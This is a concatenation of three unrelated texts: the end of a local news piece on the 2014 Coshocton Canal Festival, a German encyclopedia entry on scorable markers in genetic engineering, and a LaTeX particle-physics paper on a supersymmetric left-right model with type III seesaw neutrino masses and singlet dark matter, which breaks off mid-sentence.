"Part of the money is used for the Joan McNeely Working Women's Scholarship," said Kim Gress, member of BPW. "The other money goes toward other community programs we support like money for scholarships, Salvation Army's Christmas Castle, Buckeye Girls State, and others."
Gress said the oddest cake she has ever seen was a kitty litter box cake, which was voted Most Unusual that year. She has also seen cakes in the shape of combat boots with an upside-down gun, helicopters, and even a cake that looked like the Roscoe Blacksmith Shop.
You don't have to be a professional to enter cakes into the BPW cake auction. Cupcakes and cheesecakes are also accepted.
After voting for your favorite cake, make sure to attend the annual grand parade through downtown Coshocton at 5 p.m. featuring many organizations in the community, government personnel, 2014 elected queens and princess, and people dressed in canal-era clothing. There will also be a Canal Festival Concert at 7 p.m. featuring Todd Taylor.
"He's tremendous," said John Kunkle who is in charge of entertainment. "Not only does he sing the song, he introduces them, and what I mean by that is he tells a little bit about the song. He does a really good job and I think the audience will like him."
The concert will be at the gazebo, so please bring lawn chairs. Taylor hails from this area and used to work at the Coshocton radio station. His website is toddttaylor.com. Other entertainment will be provided throughout the day including Jordan Rose and Dr. Laura Schumann.
The 2014 Canal Festival will come to a close on Sunday, Aug. 10 with the Mayor's Promenade and Reception. Registration is at 12:45 p.m. with judging at 1:15 p.m. and the promenade begins at 2 p.m.
For more information on the Canal Days Festival, visit the Coshocton Towne Center Association website at coshoctontca.com or find them on Facebook at Coshocton Canal Festival.
Tags: canal days, featured, full-image
Category: Arts & Entertainment
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text:
Als Scorable Marker wird in der Gentechnik ein Gen bezeichnet, das zusammen mit dem "gene of interest", also dem eigentlich gewünschten Gen, in den veränderten Organismus eingebracht wird, um Individuen mit erfolgreicher Genveränderung erkennen zu können. Im Gegensatz zu Selectable Markern, wie Antibiotikaresistenzen, sind Scorable Marker direkt am Phänotyp des genveränderten Organismus zu erkennen, zum Beispiel indem sie eine bestimmte Färbung verursachen. Scorable Marker werden vor allem zur Selektion mehrzelliger Organismen verwendet.

Anwendung
Beispiel für einen Scorable Marker bei Pflanzen ist das Gen "uidA", welches die saure Hydrolase ϐ-glucoronidase codiert. Diese Hydrolase spaltet enzymatisch zum Beispiel den Farbstoff X-Gluc zu einem unlöslichen blauen CIBr-Indigo-Farbstoff. Dieser kann mit bloßem Auge gesehen werden. Erfolgreiche Transformationen von Insekten werden beispielsweise über die Augenfarbe, welche vom Scorable Marker codiert wird, angezeigt.

Literatur
 Alfred M. Handler, Anthony A. James: Insect transgenesis: methods and applications. CRC Press 2000, ISBN 0849320283
 George Acquaah: Principles of plant genetics and breeding. Wiley-Blackwell 2007, ISBN 9781405136464

Weblinks
 Eye Color of Genes for Selection of Transgenic Insects

Gentechnik

redpajama_set_name: RedPajamaWikipedia


text:
\section{Introduction}
Despite the success of the standard model(SM) there are still unsolved
problems in particle physics which motivate searches for more fundamental
theories. One of the most appealing extensions of the SM is the left-right
symmetric model based on gauge group $SU(2)_L \times SU(2)_R \times U(1)_{B-L}$ where parity is spontaneously broken and smallness of neutrino masses arises naturally. However like the SM, this left-right symmetric model also suffers from the hierarchy problem: the masses of the Higgs scalar diverge quadratically.
As in SM, supersymmetric(SUSY) counterpart of the left-right model cures this hierarchy problem. Hence left-right supersymmetric model \cite{Pati:1974yy,
Mohapatra:1974gc, Senjanovic:1975rk, Mohapatra:1980qe, Deshpande:1990ip}
becomes an appealing model which can cure many problems in the standrad model.

 Among many attractive features of this model is the capability to explain the
smallness of the neutrino mass via so called seesaw mechanism. Due to inclusion
of right handed neutrino states as a principle, such models
provide a natural explanation for the smallness of
neutrino masses \cite{Fukuda:2001nk, Ahmad:2002jz, Ahmad:2002ka, Bahcall:2004mz}
via see-saw mechanism \cite{Minkowski:1977sc, GellMann:1980vs, Yanagida:1979as, Mohapatra:1979ia}.
This class of models also provide a natural embedding of electroweak
hypercharge, giving a physical explanation for the required extra $U(1)$ as
being generated by the difference between the
baryon number ($B$) and the lepton number ($L$).

The minimal SUSY left-right model have been reviewed extensively where the number
of Higgs fields is the smallest possible. It is found that minimal model suffers from problem with spontaneous parity breaking as we expect parity breaking at low
energy theory.  Recently, the spontaneous parity violation was shown in an extension of
supersymmetric Left-Right model \cite{Patra:2009wc} where the extra field added to the minimial field content is a
bitriplet under $SU(2)_L \times SU(2)_R$.
\color{black} There are many models which can achieve spontaneous parity breaking by adding
more fileds to minimal SUSYLR field content. In the next section we discuss this minimal SUSYLR model and its
extension by adding two extra Higgs triplets ~\cite{Aulakh:1998nn, Aulakh:1997ba}.
Then we describe our model with Higgs doublets instead of triplets and discuss the
possible phenomenology associated with it.

\section{Minimal SUSYLR model}
\label{Aulakh}
The minimal set of the Higgs fields in the non-SUSY model consists of of a
bidoublet $\Phi_u$ and a $SU(2)$ triplet $\Delta$. In the supersymmetric version,
the cancellation of chiral anomalies among the fermionic partner of the triplet
Higgs fields $\Delta$ requires introduction of the second triplet $\bar{\Delta}$
with opposite $U(1)_{B-L}$ quantum number. Due to the conservation of the B-L symmetry,
$\Delta$ does not couple to the leptons and quarks. Another bidoublet $\Phi_d$
is introduced to avoid the trivial Kobayashi-Maskawa matrix for quarks. This
because supersymmetry forbids a Yukawa coupling where the bidoublet appears
as a conjugate.
The complete structure of the field content of the minimal supersymmetric left right model is
given by
\begin{equation}
Q=
\left(\begin{array}{c}
\ u \\
\ d
\end{array}\right)
\sim (3,2,1,\frac{1}{3}),\hspace*{0.8cm}
Q_c=
\left(\begin{array}{c}
\ d_c \\
\ u_c
\end{array}\right)
\sim (3^*,1,2,-\frac{1}{3}),\nonumber
\end{equation}
\begin{equation}
L=
\left(\begin{array}{c}
\ \nu \\
\ e
\end{array}\right)
\sim (1,2,1,-1), \quad
L_c=
\left(\begin{array}{c}
\ \nu_c \\
\ e_c
\end{array}\right)
\sim (1,1,2,1)
\end{equation}
where the numbers in the brackets denote the quantum numbers under
$SU(3)_c \otimes SU(2)_L \otimes SU(2)_R \otimes U(1)_{B-L}$.
Also here the convention is such that $L\rightarrow U_LL$ under
$SU(2)_L$, but $L^c\rightarrow U^*_RL^c$ under $SU(2)_R$.
Unlike in MSSM here the Higgs sector consists of the bidoublet
and triplet superfields:
\begin{equation}
\Phi_1=
\left(\begin{array}{cc}
\ \phi^0_{11} & \phi^+_{11} \\
\ \phi^-_{12} & \phi^0_{12}
\end{array}\right)
\sim (1,2,2,0),\hspace*{0.2cm}
\Phi_2=
\left(\begin{array}{cc}
\ \phi^0_{21} & \phi^+_{21} \\
\ \phi^-_{22} & \phi^0_{22}
\end{array}\right)
\sim (1,2,2,0), \nonumber
\end{equation}
\begin{equation}
\bigtriangleup =
\left(\begin{array}{cc}
\ \delta^+_L/\surd 2 & \delta^{++}_L \\
\ \delta^0_L & -\delta^+_L/\surd 2
\end{array}\right)
\sim (1,3,1,2), \hspace*{0.2cm}
\bar{\bigtriangleup} =
\left(\begin{array}{cc}
\ \triangle^-_L\surd 2 & \triangle^0_L \\
\ \triangle^{--}_L & -\triangle^-_L/\surd 2
\end{array}\right)
\sim (1,3,1,-2),\nonumber
\end{equation}
\begin{equation}
\bigtriangleup_c =
\left(\begin{array}{cc}
\ \triangle^-_R/\surd 2 & \triangle^0_R \\
\ \triangle^{--}_R & -\triangle^-_R/\surd 2
\end{array}\right)
\sim (1,1,3,-2), \hspace*{0.2cm}
\bar{\bigtriangleup}_c =
\left(\begin{array}{cc}
\ \delta^+_R/\surd 2 & \delta^{++}_R \\
\ \delta^0_R & -\delta^+_R/\surd 2
\end{array}\right)
\sim (1,1,3,2) \nonumber
\end{equation}
Under the left-right symmetry the fields transform as
\begin{equation}
Q\leftrightarrow Q^*_c,L\leftrightarrow L^*_c,\Phi\leftrightarrow
\Phi^{\dagger},\bigtriangleup \leftrightarrow \bigtriangleup^*_c,
\bar{\bigtriangleup}\leftrightarrow \bar{\bigtriangleup^*}_c  \nonumber
\end{equation}
It turns out that left-right symmetry imposes rather strong constraints on
the ground state of this model. It was pointed out by Kuchimanchi and
Mohapatra \cite{Kuchimanchi:1993jg} that there is no spontaneous parity
breaking for this minimal choice of Higgs in the supersymmetric left-right
model and as such the ground state remains parity symmetric. If parity odd
singlets are  introduced to break this symmetry \cite{Cvetic:1985zp}, then it was
shown \cite{Kuchimanchi:1993jg} that the charge-breaking vacua have a
lower potential than the charge-preserving vacua and as such the ground
state does not conserve electric charge. Breaking $R$ parity was another
possible solution to this dilemma of breaking parity symmetry. However, if
one wants to prevent proton decay, then one must look for alternative
solutions. One such possible solution is to add two new triplets superfields
$\Omega(1,3,1,0)$, $\Omega_c (1,1,3,0)$ where under parity symmetry
$\Omega \leftrightarrow \Omega_c^*$. This field has been explored
extensively in \cite{Aulakh:1997ba, Aulakh:1997fq, Aulakh:1998nn, Aulakh:1997vc}.
As worked out in the paper~\cite{Aulakh:1997ba} in this model the $SU(2)_R$
breaking takes place in two stages.
\begin{displaymath}
SU(2)_L\otimes SU(2)_R\otimes U(1)_{B-L}\underrightarrow{\langle
\Omega_c \rangle} SU(2)_L\otimes
U(1)_R\otimes U(1)_{B-L}\underrightarrow{\langle \bigtriangleup_c \rangle} SU(2)_L\otimes U(1)_Y
\end{displaymath}
The superpotential then takes the form
\begin{eqnarray}
\lefteqn{W=h^{(i)}_l L^T\tau_2 \Phi_i \tau_2 L_c+ h^{(i)}_q Q^T\tau_2
\Phi_i \tau_2 Q_c+ \iota fL^T\tau_2 \bigtriangleup L +\iota f^*L^T_c
\tau_2 \bigtriangleup_c L_c} \nonumber \\
&& +m_\triangle \text{Tr}\bigtriangleup \bar{\bigtriangleup}
+m^*_\Delta \text{Tr}\bigtriangleup_c \bar{\bigtriangleup}_c
+\frac{m_\Omega}{2}\text{Tr}\Omega^2 +\frac{m^*_\Omega}{2}
\text{Tr}\Omega^2_c \nonumber \\
&& +\mu_{ij}\text{Tr}\tau_2\Phi^T_i\tau_2\Phi_j +a\text{Tr}
\bigtriangleup \Omega \bar{\bigtriangleup}+a^*\text{Tr}
\bigtriangleup_c\Omega_c \bar{\bigtriangleup}_c \nonumber \\
&& +\alpha_{ij}\text{Tr}\Omega \Phi_i\tau_2 \Phi^T_j \tau _2 +
\alpha^*_{ij}\text{Tr}\Omega_c \Phi^T_i\tau_2 \Phi_j \tau_2
\end{eqnarray}
where $h^{(i)}_{q,l}=h^{(i)\dagger}_{q,l},\mu_{ij}=\mu{ji}=
\mu^*_{ij},\alpha_{ij}=-\alpha_{ji}$ and $f,h$ are symmetric matrices.
It is clear from the
above superpotential that the theory has no baryon or lepton number violation
terms. As such
$R$-parity, defined by $(-1)^{3(B-L)+2S}$, is automatically
conserved in the SUSYLR model.
In this model the authors arrive at $ M^2_{B-L} = M_{EW} M_R $ which relates different symmetry
breaking scales. However this is achieved under the assumption that $m_{\Omega}$ is of the order of
electroweak scale. Also the neutrino masses arise in this model through  the so called type II seesaw mechanism
coming from the majorana mass term of the neutrinos. Here we want to explore another possibility of obtaining
neutrino masses without introducing majorana neutrino masses but by adding a set of singlet fermions which we discuss below.

\section{Minimal Supersymmetric Left-Right Model with Higgs Doublets}
\label{susylr:higgs}
In the present paper we discuss another alternative implementation of supersymmetry
as well as left-right symmetry with a different seesaw mechanism for generating small standard model neutrino masses. Unlike in the model we discussed in the previous section here the
triplets $\Delta$'s are replaced by four doublets with odd $B-L$ charge.
We show that the ground state of this model breaks parity and also obeys
electromagnetic charge invariance. Also the addition of one parity even singlet $\rho(1,1,1,0)$ per generation will give rise to neutrino masses from so called type III seesaw mechanism. Although type III seesaw was already there in the literature~\cite{Foot:1988aq,Ma:1998dn,Bajc:2006ia} here we incorporate it within a supersymmetric left-right model and talk about the possible phenomenology. Since we want seesaw only in the leptonic sector we assign appropriate quantum numbers to the singlet such that it couples only to leptons and hence may be worth studying from PAMELA~\cite{Adriani:2008zr,Adriani:2008zq} positron excess point of view. The non-supersymmetric version of the left-right model with type-III Seesaw has been worked out in~\cite{FileviezPerez:2008sr}. Here we however consider fermionic singlets instead of triplets(as in conventional type-III seesaw).
The superfields are
\begin{equation}
L(2,1,-1), \quad L_c(1,2,1), \quad \rho (1,1,0), \quad
Q(2,1,\frac{1}{3}),\quad  Q_c(1,2, -\frac{1}{3}) \nonumber
\end {equation}
\begin{equation}
H=
\left(\begin{array}{cc}
\ H^+_{L} \\
\ H^0_{L}/{\surd 2}
\end{array}\right)
\sim (2,1,1), \quad
H_c=
\left(\begin{array}{cc}
\ H^+_{R} \\
\ H^0_{R}/{\surd 2}
\end{array}\right)
\sim (1,2,-1), \nonumber
\end{equation}
\begin{equation}
\bar{H}=
\left(\begin{array}{cc}
\ h^0_{L}/{\surd 2} \\
\ h^-_{L}
\end{array}\right)
\sim (2,1,-1), \quad
\bar{H}_c=
\left(\begin{array}{cc}
\ h^0_{R}/{\surd 2} \\
\ H^-_{R}
\end{array}\right)
\sim (1,2,1), \nonumber
\end{equation}
\begin{equation}
\Phi_1(2,2,0), \quad \Phi_2(2,2,0) \nonumber
\end{equation}
where the numbers in brackets correspond to the quantum numbers corresponding
to $ SU(2)_L\times SU(2)_R \times U(1)_{B-L} $. The symmetry breaking pattern
is
\begin{eqnarray}
SU(2)_L \times SU(2)_R \times U(1)_{B-L}
\underrightarrow{\langle H,H_c \rangle} SU(2)_L \times U(1)_{Y}
\underrightarrow{\langle \Phi \rangle} U(1)_{em}
\end{eqnarray}
The superpotential relevant for the spontaneous parity violation is given as follows
\begin{eqnarray}
\lefteqn{W=h^{(i)}_l L^T\tau_2 \Phi_i \tau_2 L_c+ h^{(i)}_q Q^T\tau_2
\Phi_i \tau_2 Q_c+ \iota fL^T \tau_2 \rho H +\iota f^*L^T_c
\tau_2 \rho H_c} \nonumber \\
&& +\mu_{ij}\text{Tr}\tau_2\Phi^T_i\tau_2\Phi_j +M_{\rho}
\rho \rho + f_1(H^T\Phi_i H_c+\bar{H}^T\Phi_i \bar{H}_c)+ \zeta_{ij} \rho\text{Tr}\tau_2\Phi^T_i\tau_2\Phi_j \nonumber \\
&& + m_H H^T \tau_2 \bar{H} +m^*_H H^T_c \tau_2 \bar{H}_c+ \lambda_1 \rho (H^T \tau_2 \bar{H} +  H^T_c \tau_2 \bar{H}_c)
\end{eqnarray}
The corresponding F-conditions are
\begin{eqnarray}
&& -F^*_{\rho} =M_{\rho} \rho + \zeta_{ij} \text{Tr}\tau_2\Phi^T_i\tau_2\Phi_j +\lambda_1 (H^T \tau_2 \bar{H}+H^T_c \tau_2 \bar{H}_c)
 = 0 \nonumber \\
& & -F^*_{H} =f_1\phi_{i}H_{c}+m_{H}\tau_{2}\bar{H}
+ \lambda_1 \rho \tau_{2}\bar{H}=0 \nonumber \\
& & -F^*_{\bar{H}} =f_1\phi_{i}\bar{H}_{c} +m_{H}\tau_{2} H +\lambda_1 \rho \tau_{2}H=0 \nonumber \\
& & -F^*_{H_c} =f_1 \phi_{i}H + m_{H}\tau_{2}\bar{H}_{c}+\lambda_1 \rho \tau_{2}\bar{H}_{c}=0 \nonumber \\
& & -F^*_{\bar{H}_{c}} = f_1\phi_{i}\bar{H}+m_{H}\tau_{2}H_{c}+\lambda_1 \rho \tau_{2}H_{c} =0 \nonumber \\
& & -F^*_{\Phi}=2 \mu \phi + 2 \rho \phi +f_{1}\left( H_{c} H^{T} +\bar{H}_{c}\bar{H}^{T} \right) =0
\end{eqnarray}
Here the neutral fields only acquire any vacuum expectation values(vev) otherwise they
will lead to breaking of the electromagnetic charge invariance. Also we have neglected the
slepton and squark fields since they would have zero vev at the scale considered
in our model. The vacuum of our model should be consistent with the above equations.
We assign the vev's to the neutral fields:
$\langle \phi^0_{11} \rangle = v_1$, \,$\langle \phi^0_{22} \rangle = v_2$,  \,
$\langle \phi^0_{12} \rangle = v'_1$,  \,$\langle \phi^0_{21} \rangle = v'_2$,  \,
$ \langle H^0_L \rangle = \langle h^0_L \rangle = v_L$,  \,$\langle H^0_R \rangle =
\langle h^0_R \rangle = v_R$, \, $\langle \tilde{\rho} \rangle = s $.
The equations of phenomenological relevance are as follows
\begin{eqnarray}
& & 4 M_{\rho} s + 4(\zeta_{11}v_1 v'_1+\zeta_{12}v'_1 v'_2+\zeta_{12}v_1 v_2+\zeta_{22}v_2 v'_2) +i v_L^2 \lambda_1 +i v_R^2 \lambda_1 =0 \\
& & i v_L \lambda_1 s +f_1 (v'_1+ v_2)v_R +i m_H v_L = 0 \\
& & i v_L \lambda_1 s +f_1 (v_1+ v'_2)v_R +i m_H v_L = 0 \\
& & i v_R \lambda_1 s +f_1 (v'_1+ v_2)v_L +i m^*_H v_R = 0 \\
& & i v_R \lambda_1 s +f_1 (v_1+ v'_2)v_L +i m^*_H v_L = 0 \\
& & v_L v_R f_1 +4 v'_1 (\mu_{11}+\zeta_{11} s) +4 v_2 (\mu_{12}+ \zeta_{12} s) = 0 \\
& & v_L v_R f_1 +4 v_1 (\mu_{11}+\zeta_{11} s) +4 v'_2 (\mu_{12}+ \zeta_{12}s) = 0 \\
& & v_L v_R f_1 +4 v'_1 (\mu_{12}+\zeta_{12} s) +4 v_2 (\mu_{22}+ \zeta_{22} s) = 0 \\
& & v_L v_R f_1 +4 v_1 (\mu_{12}+\zeta_{12}s) +4 v'_2 (\mu_{22}+ \zeta_{22} s) = 0
\end{eqnarray}

From the above relations we can show that parity is broken spontaneously
and at the same time electromagnetic charge is automatically
preserved. Also there is a seesaw between $v_L$ and $v_R$ from the above equations and hence we can arrive at small neutrino masses. However the effective $\mu$ term becomes $ \mu + \zeta s$ which becomes of the order of $v^0_R$, the right handed breaking scale which is generally much higher than the electroweak scale . This will make the standard model Higgs bosons $\phi$ very heavy. To avoid this, as shown in the next section we add two extra triplets with $B-L$ charge zero to the above field content.
\section{SUSYLR model with Higgs doublet as well as triplets}
As we have seen in the last section, keeping the right handed breaking scale higher than the electroweak scale makes the electroweak bosons very heavy. To get rid of this problem we add two extra triplet superfields $\Omega (3,1,0) $ and $\Omega_c(1,3,0)$. These triplets play similar roles in symmetry breaking as in \cite{Aulakh:1997ba, Aulakh:1997fq, Aulakh:1998nn, Aulakh:1997vc} discussed in section~\ref{Aulakh}. Although we include them in our model to get rid if the problem just mentioned, our main focus in on the new phenomenology arising from the singlet superfield. After the inclusion of these extra triplets the superpotential takes the following form
\begin{eqnarray}
\lefteqn{W=h^{(i)}_l L^T\tau_2 \Phi_i \tau_2 L_c+ h^{(i)}_q Q^T\tau_2
\Phi_i \tau_2 Q_c+ \iota fL^T \tau_2 \rho H +\iota f^*L^T_c
\tau_2 \rho H_c} \nonumber \\
&& +\mu_{ij}\text{Tr}\tau_2\Phi^T_i\tau_2\Phi_j +\zeta_{ij} \rho\text{Tr}\tau_2\Phi^T_i\tau_2\Phi_j +M_{\rho}
\rho \rho + f_1(H^T\Phi_i H_c+\bar{H}^T\Phi_i \bar{H}_c) \nonumber \\
&& +\alpha_{ij}\text{Tr}\Omega
\Phi_i\tau_2 \Phi^T_j \tau _2 + \alpha^*_{ij}\text{Tr}\Omega_c \Phi^T_i\tau_2 \Phi_j \tau_2 +
m_H H^T \tau_2 \bar{H} +m^*_H H^T_c \tau_2 \bar{H}_c \nonumber \\
&& +f_3 H^T \tau_2 \Omega \bar{H}+f^*_3 H^T_c\tau_2 \Omega_c \bar{H}_c+
\frac{m_{\Omega}}{2}\text{Tr}(\Omega^2 +\Omega^2_c)+\lambda_1 \rho (H^T \tau_2 \bar{H} +  H^T_c \tau_2 \bar{H}_c) \nonumber \\
&& +\iota f_4 L^T \tau_2\Omega H +\iota f_4^*L^T_c \tau_2 \Omega_c H_c + \lambda_2 \rho \text{Tr}( \Omega \Omega + \Omega_c \Omega_c)
\end{eqnarray}
where $h^{(i)}_{q,l}=h^{(i)\dagger}_{q,l},\mu_{ij}=\mu_{ji}=\mu^*_{ij},\zeta_{ij}=\zeta_{ji}=\zeta^*_{ij}$
and $f,h$ are symmetric matrices. \\
\indent Now for the spontaneous symmetry breaking purpose we need to
minimize the scalar potential. In supersymmetric  theories minimization
of the scalar potential corresponds to $F_{\phi}= 0$, where
$ F_{\phi}=-\frac{\partial W^\dagger}{\partial \phi^\dagger} $.
Writing the F-terms and their component forms as shown in appendix \ref{sec:ap1} will determine the vacua of the model which has to be consistent with those equations. Since only neutral fields can acquire vev we assign them their vevs as follows:
$\langle \phi^0_{11} \rangle = v_1$, \,$\langle \phi^0_{22} \rangle = v_2$,  \,
$\langle \phi^0_{12} \rangle = v'_1$,  \,$\langle \phi^0_{21} \rangle = v'_2$,  \,
$ \langle H^0_L \rangle = \langle h^0_L \rangle = v_L$,  \,$\langle H^0_R \rangle =
\langle h^0_R \rangle = v_R$,  \,
$\langle \Omega^0_L \rangle = \omega_L \neq 0$, \,$\langle \Omega^0_R \rangle =
\omega_R$ and $ \langle \tilde{\rho} \rangle = s$.
Here we have assumed $ v'_1, v'_2 \ll v_1, v_2 $ so that the terms containing $v'_1, v'_2$ can be neglected. Under these conditions the component form of the F-terms mentioned in appendix \ref{sec:ap1} become
\begin{eqnarray}
& & 4 \sqrt{2} M_{\rho} s +4 \sqrt{2}(\zeta_{11}v_1 v'_1+\zeta_{12}v'_1 v'_2+\zeta_{12}v_1 v_2+\zeta_{22}v_2 v'_2) \nonumber \\
& &+ i \sqrt{2} \lambda_1 (v^2_L +v^2_R) +\sqrt{2} \lambda_2 \omega^2_R = 0
\label{F1}  \\
& &
4 \alpha_{12} (v_1 v_2-v'_1 v'_2) + if_3 v^2_L = 0
\label{F2} \\
& &2 \sqrt{2} m_{\Omega} \omega_R + 4 \alpha^*_{12} (v_1 v_2-v'_1 v'_2) + i f_3 v^2_R +4 \sqrt{2} \lambda_2 s \omega_R = 0
\label{F3} \\
& & \sqrt{2} f_1 (v_2+v'_1) v_R +i \sqrt{2} m_H v_L + i \lambda_1 \sqrt{2} s v_L =0
\label{F4} \\
& &\sqrt{2} f_1 (v_1+v'_2) v_R +i \sqrt{2} m_H v_L + i \lambda_1 \sqrt{2} s v_L =0
\label{F5}\\
& &\sqrt{2} f_1 (v_2+v'_1) v_L+ i f_3 v_R \omega_R  +i \sqrt{2} m_H v_R + i \lambda_1 \sqrt{2} s v_R =0
\label{F6} \\
& &\sqrt{2} f_1 (v_1+v'_2) v_L+ i f_3 v_R \omega_R  +i \sqrt{2} m_H v_R + i \lambda_1 \sqrt{2} s v_R =0
\label{F7} \\
& &f_1 v_L v_R +2 \sqrt{2} \alpha'_{12} v_2 \omega_R +4 (\mu_{11}+\zeta_{11}s) v'_1+4 (\mu_{12}+\zeta_{12}s) v_2 = 0
\label{F8} \\
& &f_1 v_L v_R -2 \sqrt{2} \alpha'_{12} v'_2 \omega_R +4 (\mu_{11}+\zeta_{11} s) v_1+4 (\mu_{12}+\zeta_{12} s) v'_2 = 0
\label{F9} \\
& &f_1 v_L v_R -2 \sqrt{2} \alpha'_{12} v'_1 \omega_R +4 (\mu_{12}+\zeta_{12}s) v'_1+4 (\mu_{22}+\zeta_{22}s) v_2 = 0
\label{F10} \\
& &f_1 v_L v_R +2 \sqrt{2} \alpha'_{12} v_1 \omega_R +4 (\mu_{12}+\zeta_{12} s) v_1+4 (\mu_{22}+\zeta_{22} s) v'_2 = 0
\label{F11}
\end{eqnarray}
\subsection{Results}
After getting the above equations relating different vev's we have to scale them in such a way that these relations
remain consistent. From equation \ref{F2} we have
\begin{equation}
4 \alpha_{12} v_1 v_2 \simeq  f_3 v^2_L
\end{equation}
which says that $v_L$ is of the order of GeV since $v_1, v_2$ are of the order of electroweak scale.
From equations \ref{F4} and \ref{F5}, we will get the seesaw relation like
\begin{equation}
\frac{v_L}{v_R}=\frac{-i\, f_1(v_1+v_2)}{M_H+\lambda_1 \, s}
\end{equation}
which gives the much needed seesaw between the scales $v_L$ and $v_R$. As we see in the next section this is crucial to generate small neutrino masses.
We summarize all the energy scales for the consistency of our model in the table \ref{table1}. To keep the effective $\mu$ term at the electroweak scale we set the scale $s$ at the electroweak scale. In that case from equation \ref{F3} it is clear that the scale of $m_{\Omega}$ should be of the order of $v_R$.
\begin{center}
\begin{table}[ht]
\begin{tabular}{|c|c|c|c|}
\hline
Fields          & respective vevs     & Energy scale(in GeV)  & Mass Scales  \\
\hline
$\Omega_c$      &  $\omega_R$         & $10^{12}$             & $m_H$            \\
$H_c$, $\bar{H}_c$    &  $v_R$        & $10^{10}$             & $m_{\Omega}$                    \\
$\tilde{\rho}$        &  $s$        &  $10^2$                 &     \\
$\Phi_{11}$           &  $v_1$        & $10^{2}$              &                    \\
$H$, $\bar{H}$        &  $v_L$        & 3 $\times 10^{1}$     &                  \\
$\Phi_{22}$           &  $v_2$        & $10^{1}$              &                 \\
\hline
\end{tabular}
\label{table1}
\end{table}
\end{center}
\section{Phenomenology}
\indent The model we have worked out can have various possible phenomenological consequences both from collider as well as astrophysical point of view. Among them , neutrino masses, dark matter candidates and leptogenesis are of primary interests. Neutrino masses arise naturally in this model by so called Type III seesaw mechanism. The neutrino mass matrix in the basis $(\nu, \nu_c, \rho)$ is given by
\begin{equation}
M_{\nu \rho} =
\left(\begin{array}{cccc}
\ 0 & M_D &  F v_L \\
\ M^T_D & 0 & F' v_R\\
\ F v_L & F' v_R  & M_{\rho}
\end{array}\right)
\end{equation}
where $M_D = (\phi^0_{12}h_1+\phi^0_{22}h_2), F = f/\sqrt{2}, F' = f_*/\sqrt{2} $. After orthogonalization we get the following expression for $ \nu $ mass
\begin{equation}
M_{\nu} = - M_D M_R^{-1} M_D^T - \left( M_D + M_D^T \right)v_{L}/v_{R}
\label{nu1}
\end{equation}
where
\begin{equation}
M_R = (F' \,v_{R}) {M_{\rho}}^{-1} (F'^T \,v_{R})
\label{nu2}
\end{equation}
The first term in equation \ref{nu1}  is the usual type I seesaw contribution. The
second term is the type III seesaw contribution. If the elements of the
matrix $M_{\rho}$ are small compared to those of
$F' v_{R}$, then it is easy to see from equations \ref{nu1} and \ref{nu2}
that the type I contribution
becomes negligible compared to the type III contribution. This double seesaw was also worked out
in \cite{FileviezPerez:2008sr} where the right handed neutrino masses come out after integrating out the extra fermionic singlets $\rho$. The smallness of standard model neutrino masses arise naturally by suitable adjustment of the scales $\langle H, H_c \rangle $ and $M_{\rho} $. We can easily get the small $(~eV)$ neutrino masses using the values given in table \ref{table1} in the above expression. \\
\indent It should be noted from the neutrino mass matrix that these mass terms allow the mixing of an R-parity odd singlet fermion $\rho$ with an R-parity even neutrino. Note that the superpotential preserves R parity. The mild R parity
violation occuring in the
neutrino mass matrix should be understood as an accidental consequence of
$B-L$ gauge symmetry
breakdown. Apart from these mass terms there are however no vertices in the model which violate R-parity and hence would not lead to dangerous proton decay. Thus the accidental R-parity breaking in our model is phenomenologically acceptable. \\
\indent In supersymmetric models with conserved R-parity the lightest supersymmetric particle is stable and hence a viable dark matter candidate. In the supersymmetric left-right model with gauged B-L which we have discussed in the previous section R-parity is automatically conserved except for the mass terms which mixes neutrino with the singlet fermion. In most SUSY models the neutralinos (the neutral gauginos and higgsinos) are the best dark matter candidates since they satisfy the relic density of dark matter as observed by WMAP (Wilkinson Microwave Anisotropy Probe). Like the minimal SUSYLR model with type 2 seesaw, in our model also we have thirteen neutralinos: linear combination of three neutral gauginos and ten neutral higgsinos. The standard relic abundance analysis can be done for neutralino dark matter using publicly available packages like DarkSUSY\cite{Gondolo:2004sc}, micrOMEGA \cite{Belanger:2006is} etc. We however are not going to do a detailed analysis of neutralino dark matter in our model. Instead of this, we want to focus on some new candidate in our model which can be a dark matter candidate and can overcome the difficulties associated with the usual neutralino as dark matter candidates in existing models. \\
\indent Neutralino dark matter scenario has faced severe problems after experimental results from various indirect detection experiments like PAMELA, ATIC have come out. The PAMELA has observed excess positrons in the cosmic radiation but no excess anti-protons \cite{Adriani:2008zr,Adriani:2008zq}. The positron fraction increases as the energy is varied from 10 GeV to 100 GeV. Although there are many explanations for the observed excess in terms of astrophysical sources \cite{Kobayashi:2003kp,Albright:2003xb}, the connection to dark matter annihilations seems very promising as well as exciting. However the existing dark matter models in particle physics mostly consider neutralino as a dark matter candidate and neutralinos generally annihilate more preferentially into heavier fermions such as quarks due to helicity suppression of majorana fermions. Thus the standard neutralino dark matter candidate won't be able to explain the excess of positrons and simultaneously the lack of antiprotons as observed by the PAMELA. \\
\indent There have been a large number of attempts to explain the positron excess coming from cold dark matter annihilation. Most of the literature talk about hidden gauge force with a light ($\sim$GeV) gauge boson and the dark matter particles annihilate via this new gauge boson exchange to lighter fermions (leptons). Thus annihilations into quark-antiquark pairs are kinematically forbidden. This scenerio has been discussed in detail in \cite{ArkaniHamed:2008qp,ArkaniHamed:2008qn,Katz:2009qq} and the references therein.  However if we can find some particles within existing frameworks which have no direct coupling to quarks and also can eliminate all the channels through which those particles can annihilate into quark-antiquark pairs while keeping the same channels to leptons open we can possibly explain the observed positron excess. But while doing so we have to make sure that the dark matter candidate satisy the observed relic abundance constraints also. That will be slightly non-trivial since in this case the dark matter particle has fewer annihilation channels than the standard neutralino in MSSM which may result in very high relic abundance of dark matter. \\
\begin{figure}[h]
 \centering
 \epsfig{file=rho_ann}

 \caption{Diagram where the singlets as well as their superpartners annihilate into leptons}
 \label{fig:1}
\end{figure}
\indent In our model we have two such particles which has no annihilation channels to quark-antiquark
pairs. The singlet fermion $\rho$ and its superpartner $\tilde{\rho}$. The superpartner $\tilde{\rho}$
will be naturally protected by R-parity if it is the lightest among the superparticles. However the
singlet fermion $\rho$ can in principle decay to lighter fermions. But we can incorporate some
discrete $Z_2$ symmetry under which $\rho \rightarrow -\rho$ and hence it will become a stable
particle. From the superpotential it is clear that $\rho$ has no direct coupling to quark-antiquarks
and being a singlet it has no annihilation channels to quark-antiquarks via s-channel exchange of
gauge bosons. However $\rho$ has direct coupling to leptons. They can annihilate into
electron-positron pairs through t-channel exchange of higgs boson as shown in \ref{fig:1}.
The detailed quantitative analysis of the relic abundance of such a dark matter candidate  is a part
